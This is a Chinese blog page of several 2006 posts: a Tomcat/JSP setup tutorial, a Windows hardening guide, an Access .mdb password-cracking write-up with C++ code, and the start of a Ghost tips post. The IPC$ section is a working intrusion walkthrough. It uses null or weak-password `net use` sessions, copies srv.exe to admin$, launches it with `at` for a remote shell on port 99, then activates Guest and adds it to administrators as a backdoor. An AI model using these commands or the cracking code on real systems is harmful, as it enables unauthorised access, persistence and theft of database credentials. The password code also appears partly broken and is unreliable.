  第二步:安装和配置你的j2sdk和tomcat:执行j2sdk和tomcat的安装程序,然后按默认设置进行安装即可。
  
  1.安装j2sdk以后,需要配置一下环境变量,在我的电脑->属性->高级->环境变量->系统变量中添加以下环境变量(假定你的j2sdk安装在c:\j2sdk1.5.0):
JAVA_HOME=c:\j2sdk1.5.0
classpath=.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;(.;一定不能少,因为它代表当前路径)
path=%JAVA_HOME%\bin

接着可以写一个简单的java程序来测试J2SDK是否已安装成功:
public class Test{
 public static void main(String args[]){
  System.out.println("This is a test program.");
 }
}

  将上面的这段程序保存为文件名为Test.java的文件。
  
  然后打开命令提示符窗口,cd到你的Test.java所在目录,然后键入下面的命令
javac Test.java
java Test

此时如果看到打印出来This is a test program.的话说明安装成功了,如果没有打印出这句话,你需要仔细检查一下你的配置情况。
  
  2.安装Tomcat后,在我的电脑->属性->高级->环境变量->系统变量中添加以下环境变量(假定你的tomcat安装在c:\tomcat):
  
  CATALINA_HOME=c:\tomcat
  CATALINA_BASE=c:\tomcat
  
  然后修改环境变量中的classpath,把tomat安装目录下的common\lib下的(可以根据实际追加)servlet.jar追加到classpath中去,修改后的classpath如下:
classpath=.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;%CATALINA_HOME%\common\lib\servlet.jar;

 接着可以启动tomcat,在IE中访问http://localhost:8080,如果看到tomcat的欢迎页面的话说明安装成功了。
  
  第三步:建立自己的jsp app目录
  
  1.到Tomcat的安装目录的webapps目录,可以看到ROOT,examples, tomcat-docs之类Tomcat自带的的目录;
  2.在webapps目录下新建一个目录,起名叫myapp;
  3.myapp下新建一个目录WEB-INF,注意,目录名称是区分大小写的;
  4.WEB-INF下新建一个文件web.xml,内容如下:
<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE web-app
  PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
  "http://java.sun.com/dtd/web-app_2_3.dtd"
 <web-app>
  <display-name>My Web Application</display-name>
  <description>
   A application for test.
  </description>
 </web-app>

5.在myapp下新建一个测试的jsp页面,文件名为index.jsp,文件内容如下:
<html>
<body>
<center>
  Now time is: <%=new java.util.Date()%>
</center>
</body>
</html>

  6.重启Tomcat
  
  7.打开浏览器,输入http://localhost:8080/myapp/index.jsp 看到当前时间的话说明就成功了。
  
  第四步:建立自己的Servlet:
  
  1.用你最熟悉的编辑器(建议使用有语法检查的java ide)新建一个servlet程序,文件名为Test.java,文件内容如下:
package test;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
 public class Test extends HttpServlet {
  protected void doGet(HttpServletRequest request, HttpServletResponse response)
  throws ServletException, IOException {
   PrintWriter out=response.getWriter();
   out.println("<html><body><h1>This is a servlet test.</h1></body></html>");
   out.flush();
  }
 }
}

2 .编译
  将Test.java放在c:\test下,使用如下命令编译:
  
  C:\Test>javac Test.java
  
  然后在c:\Test下会产生一个编译后的servlet文件:Test.class
  
  3 .将结构test\Test.class剪切到%CATALINA_HOME%\webapps\myapp\WEB-INF\classes下,也就是剪切那个test目录到classes目录下,如果classes目录不存在,就新建一个。 现在webapps\myapp\WEB-INF\classes下有test\Test.class的文件目录结构
  
  4 .修改webapps\myapp\WEB-INF\web.xml,添加servlet和servlet-mapping
  
  编辑后的web.xml如下所示,红色为添加的内容:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE web-app
  PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
  "http://java.sun.com/dtd/web-app_2_3.dtd"
<web-app>
<display-name>My Web Application</display-name>
<description>
 A application for test.
</description>
<servlet>
 <servlet-name>Test</servlet-name>
 <display-name>Test</display-name>
 <description>A test Servlet</description>
 <servlet-class>test.Test</servlet-class>
</servlet>
<servlet-mapping>
 <servlet-name>Test</servlet-name>
 <url-pattern>/Test</url-pattern>
</servlet-mapping>
</web-app>
  这段话中的servlet这一段声明了你要调用的Servlet,而servlet-mapping则是将声明的servlet"映射"到地址/Test上
  
  5 .好了,重启动Tomcat,启动浏览器,输入http://localhost:8080/myapp/Test 如果看到输出This is a servlet test.就说明编写的servlet成功了。
  
  注意:修改了web.xml以及新加了class,都要重启Tomcat
  
  第四步:建立自己的Bean:
  
  1.用你最熟悉的编辑器(建议使用有语法检查的java ide)新建一个java程序,文件名为TestBean.java,文件内容如下:
package test;
 public class TestBean{
  private String name = null;
  public TestBean(String strName_p){
   this.name=strName_p;
  }
  public void setName(String strName_p){
   this.name=strName_p;
  }
  public String getName(){
   return this.name;
 }
}
 2 .编译
  
  将TestBean.java放在c:\test下,使用如下命令编译:
  
  C:\Test>javac TestBean.java
  
  然后在c:\Test下会产生一个编译后的bean文件:TestBean.class
  
  3 .将TestBean.class文件剪切到 %CATALINA_HOME%\webapps\myapp\WEB-INF\classes\test下,
  
  4 .新建一个TestBean.jsp文件,文件内容为:
<%@ page import="test.TestBean" %>
<html>
<body>
<center>
 <%
  TestBean testBean=new TestBean("This is a test java bean.");
 %>
 Java bean name is: <%=testBean.getName()%>
</center>
</body>
</html>

 5 .好了,重启Tomcat,启动浏览器,输入http://localhost:8080/myapp/TestBean.jsp 如果看到输出Java bean name is: This is a test java bean.就说明编写的Bean成功了。
  
  这样就完成了整个Tomcat下的jsp、servlet和javabean的配置。接下来需要做的事情就是多看书、多读别人的好代码,自己多动手写代码以增强自己在这方面开发的能力了。
Tags: ,
电脑安全问题一直以来都是个最重要的一个问题,也是电脑爱好者最关心的一个问题。它是个大话题涉及到电脑的方方面面,三言两语是说不清楚的,也不是几天就能够学会的。在这里我总结了一些系统安全配置方面的知识,希望对大家有所帮助。因为只有一台安全的电脑才可以预防病毒的骚扰、抵御黑客的入侵。

  下面就开始我们的安全之旅吧。

  一、安装过程

  1、有选择性地安装组件

  安装操作系统时请用NTFS格式, 不要按Windows 2000的默认安装组件,本着“最少的服务+最小的权限=最大的安全”原则,只选择安装需要的服务即可。例如:不作为Web服务器或FTP服务器就不安装IIS。常用Web服务器需要的最小组件是: Internet 服务管理器、WWW服务器和与其有关的辅助服务。如果是默认安装了IIS服务自己又不需要的就将其卸载。卸载办法:开始---->设置---->控制面板---->添加删除程序---->添加/删除Windows组件,在“windows组件向导”的“组件(C):”中将“Internet信息服务(IIS)”前面小框中的√去掉,然后“下一步”就卸载了IIS。

  2、网络连接

  在安装完成Windows 2000/XP操作系统后,不要立即连入网络,因为这时系统上的各种程序还没有打上补丁,存在各种漏洞,非常容易感染病毒和被入侵,此时应该安装杀毒软件和防火墙。杀毒软件和防火墙推荐使用卡巴斯基、诺顿企业版客户端(若做服务器则用服务端)和ZoneAlarm防火墙。接着,再把下面的事情做完后再上网。

  二、正确设置和管理账户

  1、停止使用Guest账户,并给Guest 加一个复杂的密码。所谓的复杂密码就是密码含大小写字母、数字、特殊字符(~!@#¥%《》,。?)等。比如象:“G7Y3,^)y。

  2、账户要尽可能少,并且要经常用一些扫描工具查看一下系统账户、账户权限及密码。删除停用的账户,常用的扫描软件有:流光、HSCAN、X-SCAN、STAT SCANNER等。正确配置账户的权限,密码至少应不少于8位,比如:"3H.#4d&j1)~w",呵呵……让他破吧!!这样的密码他可能把机子跑烂也跑不出来哦 ^_^

  3、增加登录的难度,在“账户策略→密码策略”中设定:“密码复杂性要求启用”,“密码长度最小值8位”,“强制密码历史5次”,“最长存留期 30天”;在“账户策略→账户锁定策略”设定:“账户锁定3次错误登录”,“锁定时间30分钟”,“复位锁定计数30分钟”等,增加了登录的难度对系统的安全大有好处。

  4、把系统Administrator账号改名,名称不要带有Admin等字样; 创建一个陷阱帐号,如创建一个名为“Administrator”的本地帐户,把权限设置成最低,什么事也干不了,并且加上一个超过10位的超级复杂密码。这样可以让那些“不法之徒”忙上一段时间了,并且可以借此发现他们的入侵企图。

  三、正确地设置目录和文件权限(这步可以在以后做)

  为了控制好服务器上用户的权限,同时也为了预防以后可能的入侵和溢出,还必须非常小心地设置目录和文件的访问权限。Windows 2000/XP Pro的访问权限分为:读取、写入、读取及执行、修改、列目录、完全控制。在默认的情况下,大多数的文件夹对所有用户(Everyone这个组)是完全控制的(Full Control),您需要根据应用的需要重新设置权限。在进行权限控制时,请记住以下几个原则:

  ㈠权限是累计的,如果一个用户同时属于两个组,那么他就有了这两个组所允许的所有权限。

  ②拒绝的权限要比允许的权限高(拒绝策略会先执行)。如果一个用户属于一个被拒绝访问某个资源的组,那么不管其他的权限设置给他开放了多少权限,他也一定不能访问这个资源。

  ③文件权限比文件夹权限高。

  ④利用用户组来进行权限控制是一个成熟的系统管理员必须具有的优良习惯。

  ⑤只给用户真正需要的权限,权限的最小化原则是安全的重要保障。

  ⑥预防ICMP攻击。ICMP的风暴攻击和碎片攻击是NT主机比较头疼的攻击方法,而Windows 2000/2003应付的方法很简单。Windows 2000/2003自带一个Routing & Remote Access工具,这个工具初具路由器的雏形。在这个工具中,我们可以轻易地定义输入输出包过滤器。如设定输入ICMP代码255丢弃就表示丢弃所有的外来ICMP报文。

  四、网络服务安全管理

  1、关闭不需要的服务

  只留必需的服务,多一些服务可能会给系统带来更多的安全因素。如Windows 2000/2003的Terminal Services(终端服务)、IIS(web服务)、RAS(远程访问服务)等,这些都有产生漏洞的可能。

  2、关闭不用的端口。

  3、只开放服务需要的端口与协议。

  具体方法为:按顺序打开“网上邻居→属性→本地连接→属性→Internet 协议→属性→高级→选项→TCP/IP筛选→属性”,添加需要的TCP、UDP端口以及IP协议即可。根据服务开设口.

  常用的TCP口有:80口用于Web服务;21用于FTP服务;25口用于SMTP;23口用于Telnet服务;110口用于POP3(邮件服务)。

  常用的UDP端口有:53口-DNS域名解析服务;161口-snmp简单的网络管理协议。8000、4000用于OICQ,服务器用8000来接收信息,客户端用4000发送信息。如果没有上面这些服务就没有必要打开这些端口。

  4、禁止建立空连接

  Windows 2000/XP的默认安装允许任何用户可通过空连接连上服务器,枚举账号并猜测密码。空连接用的端口是139,通过空连接,可以复制文件到远端服务器,计划执行一个任务,这就是一个漏洞。可以通过以下两种方法禁止建立空连接:

  A:修改注册表中Local_Machine\System\CurrentControlSet\Control\LSA-RestrictAnonymous 的值为1。

  B:修改Windows 2000的本地安全策略。设置“本地安全策略→本地策略→选项”中的RestrictAnonymous(匿名连接的额外限制)为“不容许枚举SAM账号和共享”。

  Windows 2000/XP的默认安装允许任何用户通过空连接得到系统所有账号和共享列表,这本来是为了方便局域网用户共享资源和文件的,但是,同时任何一个远程用户也可以通过同样的方法得到您的用户列表,并可能使用暴力法破解用户密码给整个网络带来破坏。很多人都只知道更改注册表Local_Machine\System\CurrentControlSet\Control\LSA-RestrictAnonymous = 1来禁止空用户连接,实际上Windows 2000/XP的本地安全策略里(如果是域服务器就是在域服务器安全和域安全策略里)就有RestrictAnonymous选项,其中有三个值:“0”这个值是系统默认的,没有任何限制,远程用户可以知道您机器上所有的账号、组信息、共享目录、网络传输列表(NetServerTransportEnum)等;“1”这个值是只允许非NULL用户存取SAM账号信息和共享信息;“2”这个值只有Windows 2000/XP才支持,需要注意的是,如果使用了这个值,就不能再共享资源了,所以还是推荐把数值设为“1”比较好。

  五、关闭无用端口和修改3389端口

  Windows的每一项服务都对应相应的端口,比如众如周知的www服务的端口是80,smtp是25,ftp是21,win2000/XP安装中这些服务都是默认开启的。对于个人用户来说确实没有必要,关掉端口也就是关闭了无用的服务。

  关闭这些无用的服务可以通过“控制面板”的“管理工具”中的“服务”中来配置。

  1、关闭7.9等等端口:关闭Simple TCP/IP Service,支持以下 TCP/IP 服务:Character Generator, Daytime, Discard, Echo, 以及 Quote of the Day。

  2、关闭80口:关掉WWW服务。在“服务”中显示名称为"World Wide Web Publishing Service",通过 Internet 信息服务的管理单元提供 Web 连接和管理。

  3、关掉25端口:关闭Simple Mail Transport Protocol (SMTP)服务,它提供的功能是跨网传送电子邮件。

  4、关掉21端口:关闭FTP Publishing Service,它提供的服务是通过 Internet 信息服务的管理单元提供 FTP 连接和管理。

  5、关掉23端口:关闭Telnet服务,它允许远程用户登录到系统并且使用命令行运行控制台程序。

  6、还有一个很重要的就是关闭server服务,此服务提供 RPC 支持、文件、打印以及命名管道共享。关掉它就关掉了win2k的默认共享,比如ipc$、c$、admin$等等,此服务关闭不影响您的共他操作。

  7、还有一个就是139端口,139端口是NetBIOS Session端口,用来文件和打印共享,注意的是运行samba的unix机器也开放了139端口,功能一样。以前流光2000用来判断对方主机类型不太准确,估计就是139端口开放既认为是NT机,现在好了。

  关闭139端口的方法是在“网络和拨号连接”——“本地连接”中选取“Internet协议(TCP/IP)”属性,进入“高级TCP/IP设置”“WINS设置”里面有一项“禁用TCP/IP的NETBIOS”,打勾就关闭了139端口。

  对于个人用户来说,可以在以上各项服务属性设置中设为“禁用”,以免下次重启服务也重新启动后端口再次打开。现在你不用担心你的端口和默认共享了。

  8、修改3389:打开注册表HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\Wds\Repwd\Tds\Tcp, 看到那个PortNumber没有?0xd3d,这个是16进制,就是3389啦。我改XXXX这个值是RDP(远程桌面协议)的默认值,也就是说用来配置以后新建的RDP服务的,要改已经建立的RDP服务,我们去下一个键值:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations这里应该有一个或多个类似RDP-TCP的子健(取决于你建立了多少个RDP服务),一样改掉PortNumber。

  六、本地安全策略

  1、通过建立IP策略来阻止端口连接

  TCP端口:21(FTP,换FTP端口)23(TELNET),53(DNS),135,136,137,138,139,443,445,1028,1433,3389

  TCP端口:1080,3128,6588,8080(以上为代理端口).25(SMTP),161(SNMP),67(引导)

  UDP端口:1434(这个就不用说了吧)

  阻止所有ICMP,即阻止PING命令

  2、在这里我用关闭135端口来实例讲解

  具体见我的帖子《使用本地安全策略关闭端口(TCP/IP筛选)》

  七、审核策略

  具体方法:控制面板→管理工具→本地安全策略→本地策略→审核策略,然后右键点击下列各项,选择“安全性”来设置就可以了。

  审核策略更改:成功,失败

  审核登录事件:成功,失败

  审核对象访问:失败

  审核对象追踪:成功,失败

  审核目录服务访问:失败

  审核特权使用:失败

  审核系统事件:成功,失败

  审核账户登录事件:成功,失败

  审核账户管理:成功,失败

  密码策略:启用“密码必须符合复杂性要求","密码长度最小值"为6个字符,"强制密码历史"为5次,"密码最长存留期"为30天。

  在账户锁定策略中设置:"复位账户锁定计数器"为30分钟之后,"账户锁定时间"为30分钟,"账户锁定值"为30分钟。

  安全选项设置:本地安全策略→本地策略→安全选项→对匿名连接的额外限制,双击对其中有效策略进行设置,选择"不允许枚举SAM账号和共享",因为这个值是只允许非NULL用户存取SAM账号信息和共享信息,一般选择此项,然后再禁止登录屏幕上显示上次登录的用户名。

  禁止登录屏幕上显示上次登录的用户名也可以改注册表HKEY_LOCAL_MACHINE\SOFTTWARE\Microsoft\WindowsNT\CurrentVesion\Winlogn项中的Don't Display Last User Name串,将其数据修改为1

  八、Windows日志文件的保护

  日志文件对我们如此重要,因此不能忽视对它的保护,防止发生某些“不法之徒”将日志文件清洗一空的情况。

  1. 修改日志文件存放目录

  Windows日志文件默认路径是“%systemroot%\system32\config”,我们可以通过修改注册表来改变它的存储目录,来增强对日志的保护。

  点击“开始→运行”,在对话框中输入“Regedit”,回车后弹出注册表编辑器,依次展开HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog后,下面的Application、Security、System几个子项分别对应应用程序日志、安全日志、系统日志。

  我以应用程序日志为例,将其转移到“d:\abc”目录下。首先选中Application子项,在右栏中找到File键,其键值为应用程序日志文件的路径“%SystemRoot%system32configAppEvent.Evt”,将它修改为“d:abc\AppEvent.Evt”。接着在D盘新建“abc”目录,将“AppEvent.Evt”拷贝到该目录下,重新启动系统,这样就完成了应用程序日志文件存放目录的修改。其它类型日志文件路径修改方法相同,只是在不同的子项下操作。

  2. 设置文件访问权限

  修改了日志文件的存放目录后,日志还是可以被清空的,下面通过修改日志文件访问权限,防止这种事情发生,前提是Windows系统要采用NTFS文件系统格式。

  右键点击D盘的CCE目录,选择“属性”,切换到“安全”标签页后,首先取消“允许将来自父系的可继承权限传播给该对象”选项勾选。接着在账号列表框中选中“Everyone”账号,只给它赋予“读取”权限;然后点击“添加”按钮,将“System”账号添加到账号列表框中,赋予除“完全控制”和“修改”以外的所有权限,最后点击“确定”按钮。这样当用户清除Windows日志时,就会弹出错误对话框。

  九、写在最后的话

  现在你可以连接上网了,但是暂时不要打开IE浏览器。接下来工作是升级杀毒软件和防火墙,并设置好,具体设置方法请参照缔造论坛的相关教程。然后从开始菜单打开Windows update 打好系统所有的补丁,这个过程有点漫长,耐心等待吧。当你打好系统所有补丁后再备份好系统,呵呵……上网吧你安全了(注意!没有绝对的安全哦)!
Tags:

破解.mdb目前所有版本密码

[ 2006/09/05 18:11 | by pling ]
在mdb文件第0x42字节处的13个字节分别与0x86,0xfb,0xec,0x37,0x5d,0x44,0x9c,0xfa,0xc6,0x5e,0x28,0xe6,0x13异或后即可得到数据库的密码。但在Access 2000和2002的版本里密钥不再是固定的13个字节.而且加密的方式也有了变化。


经过ccrun用一下午的时间研究,终于将Access2000的加密方式搞清楚了。嘿嘿。在此将偶的心得发布,希望对大家有用。


我用的分析工具是UltraEdit32 v10.00,编程工具是C++ Builder 6.0。


经过用UltraEdit32分析,发现Access2000和Access2002的数据库加密方式相同,所以以下只针对Access2000的mdb文件。还有就是我用的是16进制的数表示,所以前面加了0x,如果你用的是VB或其他,要注意数值哦。


首先用AccessXP创建了一个空密码的数据库文件db1.mdb,包含一个表,其中有一个字段,没有填任何数据。保存退出然后复制一份为db2.mdb,以独占方式打开2.mdb,并加上密码1324567890123 保存退出。


用UltraEdit32打开这两个数据库,并进行比较。我比较的方法也很简单。在UltraEdit32中,快速的来回点击被打开文件的选项卡(就是在两个文件间来回切换,呵呵。笨办法吧),发现从文件头开始0x42字节处发生变化。



db1.mdb
00000040h:BC 4E BE 68 EC 37 65 D7 9C FA FE CD 28 E6 2B 25 ;
00000050h:8A 60 6C 07 7B 36 CD E1 DF B1 4F 67 13 43 F7 3C ;


00000060h:B1 33 0C F2 79 5B AA 26 7C 2A 4F E9 7C 99 05 13 ;
db2.mdb
00000040h:BC 4E 8F 68 DE 37 56 D7 A8 FA CB CD 1E E6 1C 25 ;
00000050h:B2 60 55 07 4B 36 FC E1 ED B1 7C 67 13 43 F7 3C ;

00000060h:B1 33 0C F2 79 5B AA 26 7C 2A 4F E9 7C 99 05 13 ;



为了看的清楚些,我把不同的字节加了颜色。看出门道了吧,Access97以后的版本里,密码字节不再是连续存放,而是隔一个字节存一个。并且经过加密。到于解密的方法嘛,还是用老办法“异或”!0xBE ^ 0x8F = 0x31,这正好是Ascii码"1"哦。下一个0xEC ^ 0xDE = 0x32 正好是Ascii码"2",呵呵。一直到最后一个不同的0x4F ^ 0x7C =0x33,将取得的字符合成字符串,便是密码明文“1234567890123",千万不要以为这样就收工了。因为这一次是正好碰对了。呵呵。我刚开始也以为就这么简单,于是用CB做了个小程序,试着解了几个mdb密码都还行,可是试到动网论坛的mdb文件时发现取出来的密码不对,晕了。于是用另外一个取mdb密码的工具看了一下,发现人家的就可以正确的取出密码,是Access2000的格式,于是感觉微软加密的方式还是没研究完。继续工作,用UltraEdit32打开动网论坛的数据库dvbbs.mdb,和我前面的加过密的数据库做比较,发现不同的地方很多。只好一个字节一个字节的试。。。。nnn次以后发现第0x62处的这个字节起着关键作用,暂称之为加密标志。



db1.mdb //空密码
00000040h:BC 4E BE 68 EC 37 65 D7 9C FA FE CD 28 E6 2B 25 ;
00000050h:8A 60 6C 07 7B 36 CD E1 DF B1 4F 67 13 43 F7 3C ;

00000060h:B1 33 0C F2 79 5B AA 26 7C 2A 4F E9 7C 99 05 13 ;

db2.mdb //密码为:1234567890123
00000040h:BC 4E 8F 68 DE 37 56 D7 A8 FA CB CD 1E E6 1C 25 ;
00000050h:B2 60 55 07 4B 36 FC E1 ED B1 7C 67 13 43 F7 3C ;

00000060h:B1 33 0C F2 79 5B AA 26 7C 2A 4F E9 7C 99 05 13 ;

dvbbs.mdb //密码为:yemeng.net

00000040h:BC 4E DB 6A 89 37 14 D5 F9 FA 8C CF 4F E6 19 27 ;

00000050h:E4 60 15 05 0F 36 D1 E3 DF B1 53 65 13 43 EB 3E ;

00000060h:B1 33 10 F0 79 5B B6 24 7C 2A 4A E0 7C 99 05 13 ;


 

怎么试呢,还是异或。取0x42处开始的字节0xDB与空密码文件的0x42处字节异或,取0x62处的加密标志与空密码文件0x62处字节异或,然后再把取得的两个值相异或:


(0xDB^0xBE)^(0x10^0x0C)=0x79 嘿嘿。这个值是Ascii的"y",然后取下一个字节(记得隔一个字节取一个)


(0x89^0xEC)^(0x10^0x0C)=0x79 咦,本来这个字节应该是"e"的,怎么变成"y"了?试着不与后面的两个异或值相异或,只计算0x89^0xEC=0x65 得到"e",哈。这下对了。下一个


(0x14^0x65)^(0x10^0C)=0x6D 得到"m",下一个


(0xF9^9C)=0x65 得到"e",注意这里只是这两个数异或。后面的大家可以自己试。


这样就总结出规律来了。


解密时,先取出加密文件从文件头开始0x62处的字节,与空密码数据库文件第0x62处相异或,得到一个加密标志。


再从0x42处开始每隔一个字节取一个字节,取得13个加密后的密码字节,分别与空密码数据库文件0x42处每隔一个字节取得的13个字节想异或,得到13个密码半成品。为什么说是半成品呢,因为还要将13个字节的密码每隔一个字节,就与加密标志相异或,最后得到的13个字节才是真正的密码。当然,如果中间有0x0的字节,则说明密码位数不够13位。直接show出来就可以了。


另外我发现加密标志会随着时间或机器不同而不同,所以也没有万能的,不过有一个参照的就可以了。以下代码是我在写这个程序的时候取得的数,和我写这篇文章不是一个时间,所以数值不一样,但最终解密的结果是一样的。大家可以参考一下。


对了,还有个重要的就是先得判断数据库的版本,我用了个简单的办法,取0x14处的字节,如果为0就判断为是Access97,如果为1就认为是Access2000或2002的。只是目前没有研究出判断2000和2002的办法,如果哪位知道的话,请指点。


代码:


//这里定义的是13个字节作为Access2000异或的源码。与之相对应的加密标志是0x13,ccrun特此注明


//当然你可以用这一组:BE EC 65 9C FE 28 2B 8A 6C 7B CD DF 4F 与这一组相对应的加密标志是0x0c


//呵呵.程序有些乱,希望大家能看的懂。



char PassSource2k[13]={0xa1,0xec,0x7a,0x9c,0xe1,0x28,0x34,0x8a,0x73,0x7b,0xd2,0xdf,0x50};

//Access97的异或源码
char PassSource97[13]={0x86,0xfb,0xec,0x37,0x5d,0x44,0x9c,0xfa,0xc6,0x5e,0x28,0xe6,0x13};

 

void __fastcall TMainForm::GetMdbPass()
{
char PassStrTemp[26],Ver,EncrypFlag,t1;
int FileHandle;
String MdbPassword,MdbVersion,MdbFileName;

FileHandle=FileOpen(MdbFileName,fmOpenRead);
if(FileHandle<0)
{
 ShowMessage("文件打开错误!");
 return;
}

//取得数据库版本
FileSeek(FileHandle,0x14,0);
FileRead(FileHandle,&Ver,1);

//取得加密标志
FileSeek(FileHandle,0x62,0);
FileRead(FileHandle,&EncrypFlag,1);

//读取加密后的密码到缓冲区
FileSeek(FileHandle,0x42,0);
FileRead(FileHandle,&PassStrTemp,26);
FileClose(FileHandle);

if(Ver<1)
{
 MdbVersion="Access 97";
 if(int(PassStrTemp[0]^PassSource97[0])==0)
   MdbPassword="密码为空!";
 else
 {
   MdbPassword="";
   for(int i=0;i<13;i++)
   MdbPassword=MdbPassword+char(PassStrTemp^PassSource97);
 }
}
else
{
 MdbVersion="Access 2000 or 2002";
 MdbPassword="";
 for(int i=0;i<13;i++)
 {
   if(i%2==0)

   t1=char(0x13^EncrypFlag^PassStrTemp[i*2]^PassSource2k);

   //每隔一个字节就与加密标志相异或。这里的加密标志为0x13

   else

   t1=char(PassStrTemp[i*2]^PassSource2k);
   MdbPassword=MdbPassword+t1;
 }
}
if(MdbPassword[1]<0x20||MdbPassword[1]>0x7e)
 MdbPassword="密码为空!";
EditMdbFileName->Text=MdbFileName;
EditMdbPassword->Text=MdbPassword;
EditMdbVersion->Text=MdbVersion;
}
相关命令

  建立空连接  net use $Content$nbsp">\\IP\ipc$Content$nbsp;"" /user:"" (一定要注意:这一行命令中包含了3个空格)

  建立非空连接  net use $Content$nbsp">\\IP\ipc$Content$nbsp;"用户名" /user:"密码" (同样有3个空格)

  映射默认共享    net use z: $Content$nbsp">\\IP\c$Content$nbsp;"密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推)

  如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: $">\\IP\c$

  删除一个ipc$连接  net use $Content$nbsp;/del">\\IP\ipc$Content$nbsp;/del

  删除共享映射  net use c: /del 删除映射的c盘,其他盘类推

  net use * /del 删除全部,会有提示要求按y确认

  经典入侵模式

  1.C:\>net use $Content$nbsp">\\127.0.0.1\IPC$Content$nbsp;"" /user:"admintitrators"

  这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。

  2. C:\>copy srv.exe $Content$nbsp">\\127.0.0.1\admin$Content$nbsp;

  先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。

  3.C:\>net time \\127.0.0.1

  查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。

  4.C:\>at \\127.0.0.1 11:05 srv.exe

  用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)

  5.C:\>net time \\127.0.0.1

  再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。

  6.C:\>telnet 127.0.0.1 99

  这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。

  虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了

  7.C:\>copy ntlm.exe $Content$nbsp">\\127.0.0.1\admin$Content$nbsp;

  用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。

  8.C:\WINNT\system32>ntlm

  输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!

  9.Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)

  为了以防万一,我们再把guest激活加到管理组

  10.C:\>net user guest /active:yes

  将对方的Guest用户激活

  11.C:\>net user guest 1234

  将Guest的密码改为1234,或者你要设定的密码

  12.C:\>net localgroup administrators guest /add

  将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)

  ipc$与空连接,139,445端口,默认共享的关系

  以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)

  ipc$与空连接

  不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了.

  许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟).

  ipc$与139,445端口

  ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.

  ipc$与默认共享

  默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)

  ipc$连接失败的原因

  以下5个原因是比较常见的:

  1)你的系统不是NT或以上操作系统;

  2)对方没有打开ipc$默认共享

  3)对方未开启139或445端口(惑被防火墙屏蔽)

  4)你的命令输入有误(比如缺少了空格等)

  5)用户名或密码错误(空连接当然无所谓了)

  另外,你也可以根据返回的错误号分析原因:

  错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;

  错误号51,Windows 无法找到网络路径 : 网络有问题;

  错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);

  错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;

  错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
Tags: ,

Ghost使用的超级技巧

[ 2006/08/07 18:27 | by pling ]
众所周知,Ghost可以快速地备份与恢复硬盘数据,如果硬盘上的操作系统瘫痪、数据丢失了,你可以用Ghost快速地恢复,免去了重新安装系统和各种软件的烦恼。其实Ghost实在算得上是一款功能强大的软件,除了常规的备份、恢复数据之外,还有许多功能。

   一、用Ghost快速格式化大分区

   如今硬盘的容量是越来越大,每次对大分区进行Format时,都要花费很多时间,其实Ghost可以对大分区进行快速格式化。

